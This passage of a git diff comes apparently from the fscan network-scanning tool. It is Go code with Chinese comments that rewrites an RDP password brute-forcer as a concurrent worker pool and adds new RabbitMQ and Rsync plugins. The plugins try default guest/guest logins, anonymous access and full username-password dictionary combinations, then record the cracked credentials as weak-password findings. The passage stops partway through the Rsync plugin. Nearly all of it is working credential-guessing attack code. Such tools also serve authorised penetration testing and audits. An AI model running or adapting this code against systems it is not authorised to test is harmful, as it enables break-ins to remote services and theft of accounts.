||||||
// 分发扫描任务
|
// 构建凭据列表
|
||||||
|
var credentials []RDPCredential
|
||||||
for _, user := range Common.Userdict["rdp"] {
|
for _, user := range Common.Userdict["rdp"] {
|
||||||
for _, pass := range Common.Passwords {
|
for _, pass := range Common.Passwords {
|
||||||
pass = strings.Replace(pass, "{user}", user, -1)
|
actualPass := strings.Replace(pass, "{user}", user, -1)
|
||||||
brlist <- Brutelist{user, pass}
|
credentials = append(credentials, RDPCredential{
|
||||||
|
Username: user,
|
||||||
|
Password: actualPass,
|
||||||
|
Domain: Common.Domain,
|
||||||
|
})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
close(brlist)
|
|
||||||
|
|
||||||
// 等待所有任务完成
|
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
|
||||||
|
len(Common.Userdict["rdp"]), len(Common.Passwords), len(credentials)))
|
||||||
|
|
||||||
|
// 使用工作池并发扫描
|
||||||
|
result := concurrentRdpScan(ctx, info, credentials, port, Common.Timeout)
|
||||||
|
if result != nil {
|
||||||
|
// 记录成功结果
|
||||||
|
saveRdpResult(info, target, port, result.Credential)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查是否因为全局超时而退出
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
Common.LogDebug("RDP扫描全局超时")
|
||||||
|
return fmt.Errorf("全局超时")
|
||||||
|
default:
|
||||||
|
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)))
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// concurrentRdpScan 并发扫描RDP服务
|
||||||
|
func concurrentRdpScan(ctx context.Context, info *Common.HostInfo, credentials []RDPCredential, port int, timeoutSeconds int64) *RDPScanResult {
|
||||||
|
// 使用ModuleThreadNum控制并发数
|
||||||
|
maxConcurrent := Common.ModuleThreadNum
|
||||||
|
if maxConcurrent <= 0 {
|
||||||
|
maxConcurrent = 10 // 默认值
|
||||||
|
}
|
||||||
|
if maxConcurrent > len(credentials) {
|
||||||
|
maxConcurrent = len(credentials)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 创建工作池
|
||||||
|
var wg sync.WaitGroup
|
||||||
|
resultChan := make(chan *RDPScanResult, 1)
|
||||||
|
workChan := make(chan RDPCredential, maxConcurrent)
|
||||||
|
scanCtx, scanCancel := context.WithCancel(ctx)
|
||||||
|
defer scanCancel()
|
||||||
|
|
||||||
|
// 启动工作协程
|
||||||
|
for i := 0; i < maxConcurrent; i++ {
|
||||||
|
wg.Add(1)
|
||||||
|
go func() {
|
||||||
|
defer wg.Done()
|
||||||
|
for credential := range workChan {
|
||||||
|
select {
|
||||||
|
case <-scanCtx.Done():
|
||||||
|
return
|
||||||
|
default:
|
||||||
|
result := tryRdpCredential(scanCtx, info.Host, credential, port, timeoutSeconds)
|
||||||
|
if result.Success {
|
||||||
|
select {
|
||||||
|
case resultChan <- result:
|
||||||
|
scanCancel() // 找到有效凭据,取消其他工作
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
|
||||||
|
// 发送工作
|
||||||
|
go func() {
|
||||||
|
for i, cred := range credentials {
|
||||||
|
select {
|
||||||
|
case <-scanCtx.Done():
|
||||||
|
break
|
||||||
|
default:
|
||||||
|
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
|
||||||
|
workChan <- cred
|
||||||
|
}
|
||||||
|
}
|
||||||
|
close(workChan)
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 等待结果或完成
|
||||||
go func() {
|
go func() {
|
||||||
wg.Wait()
|
wg.Wait()
|
||||||
signal = true
|
close(resultChan)
|
||||||
}()
|
}()
|
||||||
for !signal {
|
|
||||||
}
|
|
||||||
|
|
||||||
return tmperr
|
// 获取结果,考虑全局超时
|
||||||
}
|
select {
|
||||||
|
case result, ok := <-resultChan:
|
||||||
// worker RDP扫描工作协程
|
if ok && result != nil && result.Success {
|
||||||
func worker(host, domain string, port int, wg *sync.WaitGroup, brlist chan Brutelist,
|
return result
|
||||||
signal *bool, num *int, all int, mutex *sync.Mutex, timeout int64) {
|
|
||||||
defer wg.Done()
|
|
||||||
|
|
||||||
for one := range brlist {
|
|
||||||
if *signal {
|
|
||||||
return
|
|
||||||
}
|
}
|
||||||
go incrNum(num, mutex)
|
return nil
|
||||||
|
case <-ctx.Done():
|
||||||
user, pass := one.user, one.pass
|
Common.LogDebug("RDP并发扫描全局超时")
|
||||||
flag, err := RdpConn(host, domain, user, pass, port, timeout)
|
scanCancel() // 确保取消所有未完成工作
|
||||||
|
return nil
|
||||||
if flag && err == nil {
|
|
||||||
// 连接成功
|
|
||||||
var result string
|
|
||||||
if domain != "" {
|
|
||||||
result = fmt.Sprintf("[+] RDP %v:%v:%v\\%v %v", host, port, domain, user, pass)
|
|
||||||
} else {
|
|
||||||
result = fmt.Sprintf("[+] RDP %v:%v:%v %v", host, port, user, pass)
|
|
||||||
}
|
|
||||||
Common.LogSuccess(result)
|
|
||||||
*signal = true
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
// 连接失败
|
|
||||||
errlog := fmt.Sprintf("[-] (%v/%v) RDP %v:%v %v %v %v", *num, all, host, port, user, pass, err)
|
|
||||||
Common.LogError(errlog)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// incrNum 线程安全地增加计数器
|
// tryRdpCredential 尝试单个RDP凭据
|
||||||
func incrNum(num *int, mutex *sync.Mutex) {
|
func tryRdpCredential(ctx context.Context, host string, credential RDPCredential, port int, timeoutSeconds int64) *RDPScanResult {
|
||||||
mutex.Lock()
|
// 创建结果通道
|
||||||
*num++
|
resultChan := make(chan *RDPScanResult, 1)
|
||||||
mutex.Unlock()
|
|
||||||
|
// 在协程中进行连接尝试
|
||||||
|
go func() {
|
||||||
|
success, err := RdpConn(host, credential.Domain, credential.Username, credential.Password, port, timeoutSeconds)
|
||||||
|
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
// 上下文已取消,不返回结果
|
||||||
|
case resultChan <- &RDPScanResult{
|
||||||
|
Success: success,
|
||||||
|
Error: err,
|
||||||
|
Credential: credential,
|
||||||
|
}:
|
||||||
|
// 成功发送结果
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 等待结果或上下文取消
|
||||||
|
select {
|
||||||
|
case result := <-resultChan:
|
||||||
|
return result
|
||||||
|
case <-ctx.Done():
|
||||||
|
return &RDPScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: ctx.Err(),
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
|
case <-time.After(time.Duration(timeoutSeconds) * time.Second):
|
||||||
|
// 单个连接超时
|
||||||
|
return &RDPScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: fmt.Errorf("连接超时"),
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// RdpConn 尝试RDP连接
|
// RdpConn 尝试RDP连接
|
||||||
func RdpConn(ip, domain, user, password string, port int, timeout int64) (bool, error) {
|
func RdpConn(ip, domain, user, password string, port int, timeout int64) (bool, error) {
|
||||||
|
defer func() {
|
||||||
|
if r := recover(); r != nil {
|
||||||
|
glog.Error("RDP连接panic:", r)
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
target := fmt.Sprintf("%s:%d", ip, port)
|
target := fmt.Sprintf("%s:%d", ip, port)
|
||||||
|
|
||||||
// 创建RDP客户端
|
// 创建RDP客户端
|
||||||
@@ -125,6 +228,43 @@ func RdpConn(ip, domain, user, password string, port int, timeout int64) (bool,
|
|||||||
return true, nil
|
return true, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// saveRdpResult 保存RDP扫描结果
|
||||||
|
func saveRdpResult(info *Common.HostInfo, target string, port int, credential RDPCredential) {
|
||||||
|
var successMsg string
|
||||||
|
|
||||||
|
if credential.Domain != "" {
|
||||||
|
successMsg = fmt.Sprintf("RDP %v Domain: %v\\%v Password: %v",
|
||||||
|
target, credential.Domain, credential.Username, credential.Password)
|
||||||
|
} else {
|
||||||
|
successMsg = fmt.Sprintf("RDP %v Username: %v Password: %v",
|
||||||
|
target, credential.Username, credential.Password)
|
||||||
|
}
|
||||||
|
|
||||||
|
Common.LogSuccess(successMsg)
|
||||||
|
|
||||||
|
// 保存结果
|
||||||
|
details := map[string]interface{}{
|
||||||
|
"port": port,
|
||||||
|
"service": "rdp",
|
||||||
|
"username": credential.Username,
|
||||||
|
"password": credential.Password,
|
||||||
|
"type": "weak-password",
|
||||||
|
}
|
||||||
|
|
||||||
|
if credential.Domain != "" {
|
||||||
|
details["domain"] = credential.Domain
|
||||||
|
}
|
||||||
|
|
||||||
|
vulnResult := &Common.ScanResult{
|
||||||
|
Time: time.Now(),
|
||||||
|
Type: Common.VULN,
|
||||||
|
Target: info.Host,
|
||||||
|
Status: "vulnerable",
|
||||||
|
Details: details,
|
||||||
|
}
|
||||||
|
Common.SaveResult(vulnResult)
|
||||||
|
}
|
||||||
|
|
||||||
// Client RDP客户端结构
|
// Client RDP客户端结构
|
||||||
type Client struct {
|
type Client struct {
|
||||||
Host string // 服务地址(ip:port)
|
Host string // 服务地址(ip:port)
|
||||||
@@ -175,8 +315,25 @@ func (g *Client) Login(domain, user, pwd string, timeout int64) error {
|
|||||||
// 设置事件处理器
|
// 设置事件处理器
|
||||||
g.setupEventHandlers(wg, &breakFlag, &err)
|
g.setupEventHandlers(wg, &breakFlag, &err)
|
||||||
|
|
||||||
wg.Wait()
|
// 添加额外的超时保护
|
||||||
return err
|
connectionDone := make(chan struct{})
|
||||||
|
go func() {
|
||||||
|
wg.Wait()
|
||||||
|
close(connectionDone)
|
||||||
|
}()
|
||||||
|
|
||||||
|
select {
|
||||||
|
case <-connectionDone:
|
||||||
|
// 连接过程正常完成
|
||||||
|
return err
|
||||||
|
case <-time.After(time.Duration(timeout) * time.Second):
|
||||||
|
// 超时
|
||||||
|
if !breakFlag {
|
||||||
|
breakFlag = true
|
||||||
|
wg.Done()
|
||||||
|
}
|
||||||
|
return fmt.Errorf("连接超时")
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// initProtocolStack 初始化RDP协议栈
|
// initProtocolStack 初始化RDP协议栈
|
||||||
|
|||||||
@@ -0,0 +1,308 @@
|
|||||||
|
package Plugins
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"fmt"
|
||||||
|
amqp "github.com/rabbitmq/amqp091-go"
|
||||||
|
"github.com/shadow1ng/fscan/Common"
|
||||||
|
"net"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
// RabbitMQCredential 表示一个RabbitMQ凭据
|
||||||
|
type RabbitMQCredential struct {
|
||||||
|
Username string
|
||||||
|
Password string
|
||||||
|
}
|
||||||
|
|
||||||
|
// RabbitMQScanResult 表示扫描结果
|
||||||
|
type RabbitMQScanResult struct {
|
||||||
|
Success bool
|
||||||
|
Error error
|
||||||
|
Credential RabbitMQCredential
|
||||||
|
ErrorMsg string // 保存详细的错误信息
|
||||||
|
}
|
||||||
|
|
||||||
|
// RabbitMQScan 执行 RabbitMQ 服务扫描
|
||||||
|
func RabbitMQScan(info *Common.HostInfo) error {
|
||||||
|
if Common.DisableBrute {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||||
|
|
||||||
|
// 设置全局超时上下文
|
||||||
|
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
|
||||||
|
defer cancel()
|
||||||
|
|
||||||
|
// 先测试默认账号 guest/guest
|
||||||
|
Common.LogDebug("尝试默认账号 guest/guest")
|
||||||
|
defaultCredential := RabbitMQCredential{Username: "guest", Password: "guest"}
|
||||||
|
defaultResult := tryRabbitMQCredential(ctx, info, defaultCredential, Common.Timeout, Common.MaxRetries)
|
||||||
|
|
||||||
|
if defaultResult.Success {
|
||||||
|
saveRabbitMQResult(info, target, defaultResult.Credential)
|
||||||
|
return nil
|
||||||
|
} else if defaultResult.Error != nil {
|
||||||
|
// 打印默认账号的详细错误信息
|
||||||
|
Common.LogDebug(fmt.Sprintf("默认账号 guest/guest 失败,详细错误: %s", defaultResult.ErrorMsg))
|
||||||
|
}
|
||||||
|
|
||||||
|
// 构建其他凭据列表
|
||||||
|
var credentials []RabbitMQCredential
|
||||||
|
for _, user := range Common.Userdict["rabbitmq"] {
|
||||||
|
for _, pass := range Common.Passwords {
|
||||||
|
actualPass := strings.Replace(pass, "{user}", user, -1)
|
||||||
|
credentials = append(credentials, RabbitMQCredential{
|
||||||
|
Username: user,
|
||||||
|
Password: actualPass,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
|
||||||
|
len(Common.Userdict["rabbitmq"]), len(Common.Passwords), len(credentials)))
|
||||||
|
|
||||||
|
// 使用工作池并发扫描
|
||||||
|
result := concurrentRabbitMQScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
|
||||||
|
if result != nil {
|
||||||
|
// 记录成功结果
|
||||||
|
saveRabbitMQResult(info, target, result.Credential)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查是否因为全局超时而退出
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
Common.LogDebug("RabbitMQ扫描全局超时")
|
||||||
|
return fmt.Errorf("全局超时")
|
||||||
|
default:
|
||||||
|
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了默认账号
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// concurrentRabbitMQScan 并发扫描RabbitMQ服务
|
||||||
|
func concurrentRabbitMQScan(ctx context.Context, info *Common.HostInfo, credentials []RabbitMQCredential, timeoutSeconds int64, maxRetries int) *RabbitMQScanResult {
|
||||||
|
// 使用ModuleThreadNum控制并发数
|
||||||
|
maxConcurrent := Common.ModuleThreadNum
|
||||||
|
if maxConcurrent <= 0 {
|
||||||
|
maxConcurrent = 10 // 默认值
|
||||||
|
}
|
||||||
|
if maxConcurrent > len(credentials) {
|
||||||
|
maxConcurrent = len(credentials)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 创建工作池
|
||||||
|
var wg sync.WaitGroup
|
||||||
|
resultChan := make(chan *RabbitMQScanResult, 1)
|
||||||
|
workChan := make(chan RabbitMQCredential, maxConcurrent)
|
||||||
|
scanCtx, scanCancel := context.WithCancel(ctx)
|
||||||
|
defer scanCancel()
|
||||||
|
|
||||||
|
// 启动工作协程
|
||||||
|
for i := 0; i < maxConcurrent; i++ {
|
||||||
|
wg.Add(1)
|
||||||
|
go func() {
|
||||||
|
defer wg.Done()
|
||||||
|
for credential := range workChan {
|
||||||
|
select {
|
||||||
|
case <-scanCtx.Done():
|
||||||
|
return
|
||||||
|
default:
|
||||||
|
result := tryRabbitMQCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
|
||||||
|
if result.Success {
|
||||||
|
select {
|
||||||
|
case resultChan <- result:
|
||||||
|
scanCancel() // 找到有效凭据,取消其他工作
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
|
||||||
|
// 发送工作
|
||||||
|
go func() {
|
||||||
|
for i, cred := range credentials {
|
||||||
|
select {
|
||||||
|
case <-scanCtx.Done():
|
||||||
|
break
|
||||||
|
default:
|
||||||
|
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
|
||||||
|
workChan <- cred
|
||||||
|
}
|
||||||
|
}
|
||||||
|
close(workChan)
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 等待结果或完成
|
||||||
|
go func() {
|
||||||
|
wg.Wait()
|
||||||
|
close(resultChan)
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 获取结果,考虑全局超时
|
||||||
|
select {
|
||||||
|
case result, ok := <-resultChan:
|
||||||
|
if ok && result != nil && result.Success {
|
||||||
|
return result
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
case <-ctx.Done():
|
||||||
|
Common.LogDebug("RabbitMQ并发扫描全局超时")
|
||||||
|
scanCancel() // 确保取消所有未完成工作
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// tryRabbitMQCredential 尝试单个RabbitMQ凭据
|
||||||
|
func tryRabbitMQCredential(ctx context.Context, info *Common.HostInfo, credential RabbitMQCredential, timeoutSeconds int64, maxRetries int) *RabbitMQScanResult {
|
||||||
|
var lastErr error
|
||||||
|
var errorMsg string
|
||||||
|
|
||||||
|
for retry := 0; retry < maxRetries; retry++ {
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
return &RabbitMQScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: fmt.Errorf("全局超时"),
|
||||||
|
Credential: credential,
|
||||||
|
ErrorMsg: "全局超时",
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
if retry > 0 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
|
||||||
|
time.Sleep(500 * time.Millisecond) // 重试前等待
|
||||||
|
}
|
||||||
|
|
||||||
|
// 创建连接超时上下文
|
||||||
|
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
|
||||||
|
success, err, detailErr := RabbitMQConn(connCtx, info, credential.Username, credential.Password)
|
||||||
|
cancel()
|
||||||
|
|
||||||
|
if success {
|
||||||
|
return &RabbitMQScanResult{
|
||||||
|
Success: true,
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
lastErr = err
|
||||||
|
errorMsg = detailErr
|
||||||
|
|
||||||
|
// 打印详细的错误信息,包括所有原始错误信息
|
||||||
|
Common.LogDebug(fmt.Sprintf("凭据 %s:%s 失败,错误详情: %s",
|
||||||
|
credential.Username, credential.Password, errorMsg))
|
||||||
|
|
||||||
|
if err != nil {
|
||||||
|
// 可以根据错误信息类型来决定是否需要重试
|
||||||
|
// 例如,如果错误是认证错误,则无需重试
|
||||||
|
if strings.Contains(errorMsg, "ACCESS_REFUSED") {
|
||||||
|
Common.LogDebug("认证错误,无需重试")
|
||||||
|
break
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查是否需要重试
|
||||||
|
if retryErr := Common.CheckErrs(err); retryErr == nil {
|
||||||
|
break // 不需要重试的错误
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return &RabbitMQScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: lastErr,
|
||||||
|
Credential: credential,
|
||||||
|
ErrorMsg: errorMsg,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// RabbitMQConn 尝试 RabbitMQ 连接
|
||||||
|
func RabbitMQConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (bool, error, string) {
|
||||||
|
host, port := info.Host, info.Ports
|
||||||
|
|
||||||
|
// 构造 AMQP URL
|
||||||
|
amqpURL := fmt.Sprintf("amqp://%s:%s@%s:%s/", user, pass, host, port)
|
||||||
|
|
||||||
|
// 创建结果通道
|
||||||
|
resultChan := make(chan struct {
|
||||||
|
success bool
|
||||||
|
err error
|
||||||
|
detailErr string
|
||||||
|
}, 1)
|
||||||
|
|
||||||
|
// 在协程中尝试连接
|
||||||
|
go func() {
|
||||||
|
// 配置连接
|
||||||
|
config := amqp.Config{
|
||||||
|
Dial: func(network, addr string) (net.Conn, error) {
|
||||||
|
dialer := &net.Dialer{Timeout: time.Duration(Common.Timeout) * time.Second}
|
||||||
|
return dialer.DialContext(ctx, network, addr)
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
// 尝试连接
|
||||||
|
conn, err := amqp.DialConfig(amqpURL, config)
|
||||||
|
|
||||||
|
if err != nil {
|
||||||
|
detailErr := err.Error()
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
case resultChan <- struct {
|
||||||
|
success bool
|
||||||
|
err error
|
||||||
|
detailErr string
|
||||||
|
}{false, err, detailErr}:
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer conn.Close()
|
||||||
|
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
case resultChan <- struct {
|
||||||
|
success bool
|
||||||
|
err error
|
||||||
|
detailErr string
|
||||||
|
}{true, nil, ""}:
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 等待结果或上下文取消
|
||||||
|
select {
|
||||||
|
case result := <-resultChan:
|
||||||
|
return result.success, result.err, result.detailErr
|
||||||
|
case <-ctx.Done():
|
||||||
|
return false, ctx.Err(), ctx.Err().Error()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// saveRabbitMQResult 保存RabbitMQ扫描结果
|
||||||
|
func saveRabbitMQResult(info *Common.HostInfo, target string, credential RabbitMQCredential) {
|
||||||
|
successMsg := fmt.Sprintf("RabbitMQ服务 %s 连接成功 用户名: %v 密码: %v",
|
||||||
|
target, credential.Username, credential.Password)
|
||||||
|
Common.LogSuccess(successMsg)
|
||||||
|
|
||||||
|
// 保存结果
|
||||||
|
vulnResult := &Common.ScanResult{
|
||||||
|
Time: time.Now(),
|
||||||
|
Type: Common.VULN,
|
||||||
|
Target: info.Host,
|
||||||
|
Status: "vulnerable",
|
||||||
|
Details: map[string]interface{}{
|
||||||
|
"port": info.Ports,
|
||||||
|
"service": "rabbitmq",
|
||||||
|
"username": credential.Username,
|
||||||
|
"password": credential.Password,
|
||||||
|
"type": "weak-password",
|
||||||
|
},
|
||||||
|
}
|
||||||
|
Common.SaveResult(vulnResult)
|
||||||
|
}
|
||||||
+661
-229
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,476 @@
|
|||||||
|
package Plugins
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/Common"
|
||||||
|
)
|
||||||
|
|
||||||
|
// RsyncCredential 表示一个Rsync凭据
|
||||||
|
type RsyncCredential struct {
|
||||||
|
Username string
|
||||||
|
Password string
|
||||||
|
}
|
||||||
|
|
||||||
|
// RsyncScanResult 表示Rsync扫描结果
|
||||||
|
type RsyncScanResult struct {
|
||||||
|
Success bool
|
||||||
|
Error error
|
||||||
|
Credential RsyncCredential
|
||||||
|
IsAnonymous bool
|
||||||
|
ModuleName string
|
||||||
|
}
|
||||||
|
|
||||||
|
func RsyncScan(info *Common.HostInfo) error {
|
||||||
|
if Common.DisableBrute {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||||
|
|
||||||
|
// 设置全局超时上下文
|
||||||
|
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
|
||||||
|
defer cancel()
|
||||||
|
|
||||||
|
// 首先尝试匿名访问
|
||||||
|
Common.LogDebug("尝试匿名访问...")
|
||||||
|
anonymousResult := tryRsyncCredential(ctx, info, RsyncCredential{"", ""}, Common.Timeout, Common.MaxRetries)
|
||||||
|
|
||||||
|
if anonymousResult.Success {
|
||||||
|
// 匿名访问成功
|
||||||
|
saveRsyncResult(info, target, anonymousResult)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 构建凭据列表
|
||||||
|
var credentials []RsyncCredential
|
||||||
|
for _, user := range Common.Userdict["rsync"] {
|
||||||
|
for _, pass := range Common.Passwords {
|
||||||
|
actualPass := strings.Replace(pass, "{user}", user, -1)
|
||||||
|
credentials = append(credentials, RsyncCredential{
|
||||||
|
Username: user,
|
||||||
|
Password: actualPass,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
|
||||||
|
len(Common.Userdict["rsync"]), len(Common.Passwords), len(credentials)))
|
||||||
|
|
||||||
|
// 使用工作池并发扫描
|
||||||
|
result := concurrentRsyncScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
|
||||||
|
if result != nil {
|
||||||
|
// 保存成功结果
|
||||||
|
saveRsyncResult(info, target, result)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查是否因为全局超时而退出
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
Common.LogDebug("Rsync扫描全局超时")
|
||||||
|
return fmt.Errorf("全局超时")
|
||||||
|
default:
|
||||||
|
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了匿名访问
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// concurrentRsyncScan 并发扫描Rsync服务
|
||||||
|
func concurrentRsyncScan(ctx context.Context, info *Common.HostInfo, credentials []RsyncCredential, timeoutSeconds int64, maxRetries int) *RsyncScanResult {
|
||||||
|
// 使用ModuleThreadNum控制并发数
|
||||||
|
maxConcurrent := Common.ModuleThreadNum
|
||||||
|
if maxConcurrent <= 0 {
|
||||||
|
maxConcurrent = 10 // 默认值
|
||||||
|
}
|
||||||
|
if maxConcurrent > len(credentials) {
|
||||||
|
maxConcurrent = len(credentials)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 创建工作池
|
||||||
|
var wg sync.WaitGroup
|
||||||
|
resultChan := make(chan *RsyncScanResult, 1)
|
||||||
|
workChan := make(chan RsyncCredential, maxConcurrent)
|
||||||
|
scanCtx, scanCancel := context.WithCancel(ctx)
|
||||||
|
defer scanCancel()
|
||||||
|
|
||||||
|
// 启动工作协程
|
||||||
|
for i := 0; i < maxConcurrent; i++ {
|
||||||
|
wg.Add(1)
|
||||||
|
go func() {
|
||||||
|
defer wg.Done()
|
||||||
|
for credential := range workChan {
|
||||||
|
select {
|
||||||
|
case <-scanCtx.Done():
|
||||||
|
return
|
||||||
|
default:
|
||||||
|
result := tryRsyncCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
|
||||||
|
if result.Success {
|
||||||
|
select {
|
||||||
|
case resultChan <- result:
|
||||||
|
scanCancel() // 找到有效凭据,取消其他工作
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
|
||||||
|
// 发送工作
|
||||||
|
go func() {
|
||||||
|
for i, cred := range credentials {
|
||||||
|
select {
|
||||||
|
case <-scanCtx.Done():
|
||||||
|
break
|
||||||
|
default:
|
||||||
|
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
|
||||||
|
workChan <- cred
|
||||||
|
}
|
||||||
|
}
|
||||||
|
close(workChan)
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 等待结果或完成
|
||||||
|
go func() {
|
||||||
|
wg.Wait()
|
||||||
|
close(resultChan)
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 获取结果,考虑全局超时
|
||||||
|
select {
|
||||||
|
case result, ok := <-resultChan:
|
||||||
|
if ok && result != nil && result.Success {
|
||||||
|
return result
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
case <-ctx.Done():
|
||||||
|
Common.LogDebug("Rsync并发扫描全局超时")
|
||||||
|
scanCancel() // 确保取消所有未完成工作
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// tryRsyncCredential 尝试单个Rsync凭据
|
||||||
|
func tryRsyncCredential(ctx context.Context, info *Common.HostInfo, credential RsyncCredential, timeoutSeconds int64, maxRetries int) *RsyncScanResult {
|
||||||
|
var lastErr error
|
||||||
|
|
||||||
|
for retry := 0; retry < maxRetries; retry++ {
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
return &RsyncScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: fmt.Errorf("全局超时"),
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
if retry > 0 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
|
||||||
|
time.Sleep(500 * time.Millisecond) // 重试前等待
|
||||||
|
}
|
||||||
|
|
||||||
|
// 创建连接超时上下文
|
||||||
|
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
|
||||||
|
success, moduleName, err := RsyncConn(connCtx, info, credential.Username, credential.Password)
|
||||||
|
cancel()
|
||||||
|
|
||||||
|
if success {
|
||||||
|
isAnonymous := credential.Username == "" && credential.Password == ""
